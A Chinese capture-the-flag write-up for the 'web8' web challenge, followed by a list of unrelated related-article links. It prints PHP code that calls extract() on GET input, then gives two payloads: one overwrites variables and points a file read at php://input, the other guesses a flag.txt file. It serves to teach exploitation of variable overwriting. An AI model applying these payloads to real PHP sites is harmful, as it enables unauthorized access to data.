web8

简介: web8110txt????http://120.24.86.145:8002/web8/extract() -使用数组键名作为变量名,使用数组键值作为变量值。

web8
110
txt????
http://120.24.86.145:8002/web8/

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
  • extract() -使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量.
  • empty()-判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。
  • trim()-移除字符串两侧的空白字符或其他预定义字符。
  • file_get_contents-将整个文件读入一个字符串

可知,获取flag要使ac不为空,f 的值从文件fn中获取,并且ac===f


姿势1:构造payload:
url:?/ac=aa&&fn=php://input
post data :aa

姿势2 :猜测目录下有txt文件,测试出flag.txt。构造:
?ac=flags&fn=flag.txt

可得出flag


相关文章
|
存储 芯片
第六章 半导体存储器【微机原理】2
第六章 半导体存储器【微机原理】2
1415 0
阿里云com域名续费价格60元一年(非75元一年)
com域名续费涨价,很多云厂商com域名续费涨价到70元一年,阿里云com域名续费原价是75元,使用优惠口令依旧是60元一年,良心价
阿里云com域名续费价格60元一年(非75元一年)
|
前端开发 数据可视化 Java
第一篇:瑞吉外卖项目概述
第一篇:瑞吉外卖项目概述
3311 0
第一篇:瑞吉外卖项目概述
|
12月前
如何使用FabricJS为图像添加平滑处理?
在本文中,我们将展示如何使用FabricJS为图像添加平滑效果。
111 2
|
12月前
|
前端开发
css 块元素、行内元素、行内块元素相互转换
css 块元素、行内元素、行内块元素相互转换
564 0
|
机器学习/深度学习 人工智能 自然语言处理
【人工智能】自然语言处理(NLP)的突破,关注NLP在机器翻译、情感分析、聊天机器人等方面的最新研究成果和应用案例。
自然语言处理(NLP)作为人工智能的一个重要分支,近年来取得了显著的突破,特别在机器翻译、情感分析、聊天机器人等领域取得了显著的研究成果和广泛的应用。以下是对这些领域最新研究成果和应用案例的概述,并附带相应的代码实例。
884 1
win10取消ie浏览器自动跳转edge浏览器
win10取消ie浏览器自动跳转edge浏览器
358 4
|
机器学习/深度学习 人工智能 算法
人工智能在游戏中的应用与未来展望
人工智能在游戏中的应用与未来展望
1100 0
|
缓存 监控 网络协议
2022年最受工程师欢迎的10款抓包工具有哪些?不止Wireshark和Tcpdump哦!
网络嗅探器在日常工作中经常使用,通常情况下,我们叫做“抓包工具”,不管是软件开发、还是网络工程师,抓包解决一些问题已经称为最正常不过的操作。
1582 0
2022年最受工程师欢迎的10款抓包工具有哪些?不止Wireshark和Tcpdump哦!
|
负载均衡 关系型数据库 数据库
学习云计算从入门到实践,一大波视频干货拿走不谢!(文末有彩蛋)
什么是云计算?从业者应该如何入门云计算?企业如何选择阿里云云产品来支持自己的业务形态?看行业大咖如何利用云产品来整合及优化自己的架构? 超过三十节课,数十位阿里专家倾情奉献,一一为您解答! 十节课,轻松入门云计算 课程简介:从分布式调度、存储、数据库到分布式系统架构,十节课轻松了解云计算
81714 0
学习云计算从入门到实践,一大波视频干货拿走不谢!(文末有彩蛋)